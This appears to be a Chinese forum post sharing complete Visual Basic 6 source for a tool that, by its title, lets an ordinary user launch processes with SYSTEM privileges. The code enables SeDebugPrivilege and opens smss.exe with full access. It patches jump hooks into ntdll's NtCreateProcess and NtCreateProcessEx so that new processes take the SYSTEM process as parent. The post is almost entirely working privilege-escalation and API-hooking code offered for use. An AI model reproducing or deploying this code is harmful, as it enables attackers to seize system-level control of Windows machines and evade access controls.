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普通用户建立SYSTEM权限的进程，在桌面扔了好久了，发出来晾晾！

代码如下：

 clsHookInfo.cls

VERSION 1.0 CLASS
BEGIN
  MultiUse = -1  'True
  Persistable = 0  'NotPersistable
  DataBindingBehavior = 0  'vbNone
  DataSourceBehavior  = 0  'vbNone
  MTSTransactionMode  = 0  'NotAnMTSObject
END
Attribute VB_Name = "clsHookInfo"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = True
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Private Declare Function MessageBoxA Lib "user32" (ByVal hwnd As Long, ByVal lpText As String, ByVal lpCaption As String, ByVal wType As Long) As Long
Private Declare Function MessageBoxW Lib "user32" (ByVal hwnd As Long, ByVal lpText As String, ByVal lpCaption As String, ByVal wType As Long) As Long
Private Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As Long
Private Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
Private Declare Function GetCurrentProcessId Lib "kernel32" () As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Const PROCESS_QUERY_INFORMATION As Long = (&H400)

Private Const STANDARD_RIGHTS_REQUIRED As Long = &HF0000

Private Const SYNCHRONIZE As Long = &H100000

Private Const PROCESS_ALL_ACCESS As Long = (STANDARD_RIGHTS_REQUIRED Or SYNCHRONIZE Or &HFFF)

Private mbytOldCode(5) As Byte
Private mbytNewCode(5) As Byte
Private mlngFunAddr As Long

Private mhProcess As Long

Public Function HookApi(ByVal strDllName As String, ByVal strFunName As String, ByVal lngFunAddr As Long, ByVal hProcess As Long) As Boolean
    Dim hModule As Long, dwJmpAddr As Long
    mhProcess = hProcess
    hModule = LoadLibrary(strDllName)
    If hModule = 0 Then
        HookApi = False
        Exit Function
    End If
    mlngFunAddr = GetProcAddress(hModule, strFunName)
    If mlngFunAddr = 0 Then
        HookApi = False
        Exit Function
    End If
    CopyMemory mbytOldCode(0), ByVal mlngFunAddr, 6
    Debug.Print mbytOldCode(0); mbytOldCode(1); mbytOldCode(2); mbytOldCode(3); mbytOldCode(4)
    mbytNewCode(0) = &HE9
    dwJmpAddr = lngFunAddr - mlngFunAddr - 5
    CopyMemory mbytNewCode(1), dwJmpAddr, 4
    Debug.Print mbytNewCode(0); mbytNewCode(1); mbytNewCode(2); mbytNewCode(3); mbytNewCode(4)
    HookStatus True
    HookApi = True
End Function

Public Function HookStatus(ByVal blnIsHook As Boolean) As Boolean
    If blnIsHook Then
       If WriteProcessMemory(mhProcess, ByVal mlngFunAddr, mbytNewCode(0), 5, 0) <> 0 Then HookStatus = False '拦截
    Else
        If WriteProcessMemory(mhProcess, ByVal mlngFunAddr, mbytOldCode(0), 5, 0) <> 0 Then HookStatus = False '恢复
    End If
End Function

Private Sub Class_Initialize()
'    mhProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, GetCurrentProcessId)
End Sub

Private Sub Class_Terminate()
    HookStatus False
'    CloseHandle mhProcess
End Sub

frmMain.frm

VERSION 5.00
Begin VB.Form frmMain
   BorderStyle     =   1  'Fixed Single
   Caption         =   "创建系统进程"
   ClientHeight    =   3090
   ClientLeft      =   45
   ClientTop       =   435
   ClientWidth     =   4680
   LinkTopic       =   "Form1"
   MaxButton       =   0   'False
   MinButton       =   0   'False
   ScaleHeight     =   3090
   ScaleWidth      =   4680
   StartUpPosition =   3  '窗口缺省
   Begin VB.CommandButton cmdExit
      Caption         =   "退出"
      Default         =   -1  'True
      Height          =   375
      Left            =   3510
      TabIndex        =   3
      Top             =   2010
      Width           =   945
   End
   Begin VB.CommandButton cmdRun
      Caption         =   "启动"
      Height          =   375
      Left            =   2190
      TabIndex        =   2
      Top             =   2010
      Width           =   945
   End
   Begin VB.TextBox txtPath
      Height          =   255
      Left            =   960
      TabIndex        =   1
      Text            =   "notepad"
      Top             =   1020
      Width           =   3525
   End
   Begin VB.Label lblNote
      AutoSize        =   -1  'True
      Caption         =   "文件路径:"
      Height          =   180
      Left            =   90
      TabIndex        =   0
      Top             =   1050
      Width           =   810
   End
End
Attribute VB_Name = "frmMain"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Declare Function GetCurrentProcessId Lib "kernel32" () As Long
Private Const PROCESS_QUERY_INFORMATION As Long = (&H400)
Private Const STANDARD_RIGHTS_REQUIRED As Long = &HF0000
Private Const SYNCHRONIZE As Long = &H100000
Private Const PROCESS_ALL_ACCESS As Long = (STANDARD_RIGHTS_REQUIRED Or SYNCHRONIZE Or &HFFF)

Private Type PROCESS_INFORMATION
    hProcess As Long
    hThread As Long
    dwProcessId As Long
    dwThreadId As Long
End Type

Private Type STARTUPINFO
    cb As Long
    lpReserved As String
    lpDesktop As String
    lpTitle As String
    dwX As Long
    dwY As Long
    dwXSize As Long
    dwYSize As Long
    dwXCountChars As Long
    dwYCountChars As Long
    dwFillAttribute As Long
    dwFlags As Long
    wShowWindow As Integer
    cbReserved2 As Integer
    lpReserved2 As Byte
    hStdInput As Long
    hStdOutput As Long
    hStdError As Long
End Type

Private Declare Function CreateProcess Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDriectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long

Private Sub cmdExit_Click()
    Unload Me
End Sub

Private Sub cmdRun_Click()
    Dim lp As PROCESS_INFORMATION
    Dim si As STARTUPINFO
    si.cb = Len(si)
    CreateProcess vbNullString, txtPath.Text, ByVal 0&, ByVal 0&, 0, 0, ByVal 0&, vbNullString, si, lp
End Sub

Private Sub Form_Load()
    EnablePrivilege
    '注意这里不能马上把句柄关闭掉
    glngSystemHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, GetSystemProcessId)
    If glngSystemHandle = 0 Then
        MsgBox "获取系统进程句柄出错！！", vbCritical, "错误"
        Exit Sub
    End If
    Set gclsHookNtCreateProcess = New clsHookInfo
    Set gclsHookNtCreateProcessEx = New clsHookInfo
    glngProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, GetCurrentProcessId)
    gclsHookNtCreateProcessEx.HookApi "ntdll.dll", "NtCreateProcessEx", GetFunAddr(AddressOf NtCreateProcessExCallback), glngProcess
    gclsHookNtCreateProcess.HookApi "ntdll.dll", "NtCreateProcess", GetFunAddr(AddressOf NtCreateProcessCallback), glngProcess
End Sub

Private Sub Form_Unload(Cancel As Integer)
    Set gclsHookNtCreateProcess = Nothing
    Set gclsHookNtCreateProcessEx = Nothing
    CloseHandle glngSystemHandle
    CloseHandle glngProcess
End Sub

modEnablePrivilege.bas

Attribute VB_Name = "modEnablePrivilege"
Option Explicit

Private Const STANDARD_RIGHTS_REQUIRED = &HF0000
Private Const TOKEN_ASSIGN_PRIMARY = &H1
Private Const TOKEN_DUPLICATE = (&H2)
Private Const TOKEN_IMPERSONATE = (&H4)
Private Const TOKEN_QUERY = (&H8)
Private Const TOKEN_QUERY_SOURCE = (&H10)
Private Const TOKEN_ADJUST_PRIVILEGES = (&H20)
Private Const TOKEN_ADJUST_GROUPS = (&H40)
Private Const TOKEN_ALL_ACCESS = 983551
Private Const SE_PRIVILEGE_ENABLED = &H2
Private Const ANYSIZE_ARRAY = 1
Private Const SE_DEBUG_NAME = "SeDebugPrivilege"

Private Type LUID
    lowpart As Long
    highpart As Long
End Type

Private Type LUID_AND_ATTRIBUTES
    pLuid As LUID
    Attributes As Long
End Type

Private Type TOKEN_PRIVILEGES
    PrivilegeCount As Long
    Privileges(ANYSIZE_ARRAY) As LUID_AND_ATTRIBUTES
End Type

Private Declare Function OpenProcessToken Lib "advapi32.dll" (ByVal ProcessHandle As Long, ByVal DesiredAccess As Long, TokenHandle As Long) As Long
Private Declare Function AdjustTokenPrivileges Lib "advapi32.dll" (ByVal TokenHandle As Long, ByVal DisableAllPriv As Long, NewState As TOKEN_PRIVILEGES, ByVal BufferLength As Long, PreviousState As TOKEN_PRIVILEGES, ReturnLength As Long) As Long                'Used to adjust your program's security privileges, can't restore without it!
Private Declare Function LookupPrivilegeValue Lib "advapi32.dll" Alias "LookupPrivilegeValueA" (ByVal lpSystemName As Any, ByVal lpName As String, lpLuid As LUID) As Long
Private Declare Function GetCurrentProcess Lib "kernel32" () As Long '获取当前进程句柄

Public Function EnablePrivilege() As Boolean
    Dim hdlProcessHandle As Long
    Dim hdlTokenHandle As Long
    Dim tmpLuid As LUID
    Dim tkp As TOKEN_PRIVILEGES
    Dim tkpNewButIgnored As TOKEN_PRIVILEGES
    Dim lBufferNeeded As Long
    Dim lp As Long
    hdlProcessHandle = GetCurrentProcess()
    lp = OpenProcessToken(hdlProcessHandle, TOKEN_ADJUST_PRIVILEGES Or TOKEN_QUERY, hdlTokenHandle)
    lp = LookupPrivilegeValue(vbNullString, "SeDebugPrivilege", tmpLuid)
    tkp.PrivilegeCount = 1
    tkp.Privileges(0).pLuid = tmpLuid
    tkp.Privileges(0).Attributes = SE_PRIVILEGE_ENABLED
    EnablePrivilege = AdjustTokenPrivileges(hdlTokenHandle, False, tkp, Len(tkpNewButIgnored), tkpNewButIgnored, lBufferNeeded)
End Function

modHook.bas

Attribute VB_Name = "modHook"
Private Declare Function NtCreateProcessEx Lib "NTDLL.DLL" (ByRef ProcessHandle As Long, ByVal AccessMask As Long, ByVal ObjectAttributes As Long, ByVal hParentProcess As Long, ByVal InheritHandles As Long, ByVal hSection As Long, ByVal hDebugPort As Long, ByVal hExceptionPort As Long, ByVal reserv As Long) As Long
Private Declare Function NtCreateProcess Lib "NTDLL.DLL" (ByRef ProcessHandle As Long, ByVal AccessMask As Long, ByVal ObjectAttributes As Long, ByVal hParentProcess As Long, ByVal InheritHandles As Long, ByVal hSection As Long, ByVal hDebugPort As Long, ByVal hExceptionPort As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Declare Function GetCurrentProcessId Lib "kernel32" () As Long
Private Declare Function OpenProcess Lib "kernel32.dll" (ByVal dwDesiredAccessas As Long, ByVal bInheritHandle As Long, ByVal dwProcId As Long) As Long
Private Const PROCESS_QUERY_INFORMATION As Long = (&H400)
Private Const STANDARD_RIGHTS_REQUIRED As Long = &HF0000
Private Const SYNCHRONIZE As Long = &H100000
Private Const PROCESS_ALL_ACCESS As Long = (STANDARD_RIGHTS_REQUIRED Or SYNCHRONIZE Or &HFFF)
Private Type OBJECT_ATTRIBUTES
    Length As Long
    RootDirectory As Long
    ObjectName As Long
    Attributes As Long
    SecurityDescriptor As Long
    SecurityQualityOfService As Long
End Type

Public gclsHookNtCreateProcessEx As clsHookInfo
Public gclsHookNtCreateProcess As clsHookInfo
Public glngProcess As Long
Public glngSystemHandle As Long

Public Function NtCreateProcessExCallback(ByRef ProcessHandle As Long, ByVal AccessMask As Long, ByVal ObjectAttributes As Long, ByVal hParentProcess As Long, ByVal InheritHandles As Long, ByVal hSection As Long, ByVal hDebugPort As Long, ByVal hExceptionPort As Long, ByVal reserv As Long) As Long
    Dim hReturn As Long
   
    gclsHookNtCreateProcessEx.HookStatus False
    hReturn = NtCreateProcessEx(ProcessHandle, AccessMask, ObjectAttributes, glngSystemHandle, InheritHandles, hSection, hDebugPort, hExceptionPort, reserv)
    gclsHookNtCreateProcessEx.HookStatus True
    NtCreateProcessExCallback = hReturn
End Function

Public Function NtCreateProcessCallback(ByRef ProcessHandle As Long, ByVal AccessMask As Long, ByVal ObjectAttributes As Long, ByVal hParentProcess As Long, ByVal InheritHandles As Long, ByVal hSection As Long, ByVal hDebugPort As Long, ByVal hExceptionPort As Long) As Long
    Dim hReturn As Long
    gclsHookNtCreateProcess.HookStatus False
    hReturn = NtCreateProcess(ProcessHandle, AccessMask, ObjectAttributes, glngSystemHandle, InheritHandles, hSection, hDebugPort, hExceptionPort)
    gclsHookNtCreateProcess.HookStatus True
    NtCreateProcessCallback = hReturn
End Function

Public Function GetFunAddr(lngFunAddr As Long) As Long
    GetFunAddr = lngFunAddr
End Function

modProcess.bas

Attribute VB_Name = "modProcess"
Option Explicit

Private Declare Function CloseHandle Lib "kernel32.dll" (ByVal Handle As Long) As Long
Private Declare Function OpenProcess Lib "kernel32.dll" (ByVal dwDesiredAccessas As Long, ByVal bInheritHandle As Long, ByVal dwProcId As Long) As Long
Private Declare Function EnumProcesses Lib "PSAPI.DLL" (ByRef lpidProcess As Long, ByVal cb As Long, ByRef cbNeeded As Long) As Long
Private Declare Function GetModuleFileNameExA Lib "PSAPI.DLL" (ByVal hProcess As Long, ByVal hModule As Long, ByVal ModuleName As String, ByVal nSize As Long) As Long
Private Declare Function EnumProcessModules Lib "PSAPI.DLL" (ByVal hProcess As Long, ByRef lphModule As Long, ByVal cb As Long, ByRef cbNeeded As Long) As Long
Private Declare Function OpenProcessToken Lib "advapi32.dll" (ByVal ProcessHandle As Long, ByVal DesiredAccess As Long, TokenHandle As Long) As Long
Private Declare Function GetCurrentProcess Lib "kernel32" () As Long '获取当前进程句柄
Private Declare Function GetLastError Lib "kernel32" () As Long
Private Declare Function GetModuleBaseName Lib "PSAPI.DLL" Alias "GetModuleBaseNameA" (ByVal hProcess As Long, ByVal hModule As Long, ByVal lpBaseName As String, ByVal nSize As Long) As Long
Private Const PROCESS_QUERY_INFORMATION = &H400
Private Const PROCESS_VM_READ = &H10

'Private Const PROCESS_QUERY_INFORMATION As Long = (&H400)
Private Const STANDARD_RIGHTS_REQUIRED As Long = &HF0000
Private Const SYNCHRONIZE As Long = &H100000
Private Const PROCESS_ALL_ACCESS As Long = (STANDARD_RIGHTS_REQUIRED Or SYNCHRONIZE Or &HFFF)

Public Function GetSystemProcessId() As Long
    Dim lngCbNeeded As Long
    Dim lngNumElements As Long
    Dim lngProcessIDArray() As Long
    Dim lngCbNeeded2 As Long
    Dim lngNumElements2 As Long
    Dim Modules(0 To 1023) As Long
    Dim lngRet As Long
    Dim lngSize As Long
    Dim hProcess As Long
    Dim i As Long, strModuleName As String
    Dim lngModules As Long, hLen As Long
    ReDim lngProcessIDArray(1024)
    lngRet = EnumProcesses(lngProcessIDArray(0), 4 * 1024, lngCbNeeded)
    lngNumElements = lngCbNeeded / 4
    ReDim Preserve lngProcessIDArray(lngNumElements - 1)
    On Error Resume Next
    For i = 0 To lngNumElements - 1
        hProcess = OpenProcess(PROCESS_QUERY_INFORMATION Or PROCESS_VM_READ, False, lngProcessIDArray(i))
        If hProcess <> 0 And lngProcessIDArray(i) <> 4 Then
            lngRet = EnumProcessModules(hProcess, Modules(0), 1024, lngCbNeeded2)
            If lngRet <> 0 Then
                strModuleName = String(260, "*")
                lngRet = GetModuleFileNameExA(hProcess, Modules(0), strModuleName, 260)
                strModuleName = Left(strModuleName, lngRet)
            End If
            If InStr(LCase(strModuleName), "system32\smss.exe") Then
            'If InStr(LCase(strModuleName), "system32\winlogon.exe") Then
                GetSystemProcessId = lngProcessIDArray(i)
                lngRet = CloseHandle(hProcess)
                Exit Function
            End If
        End If
        lngRet = CloseHandle(hProcess)
    Next
End Function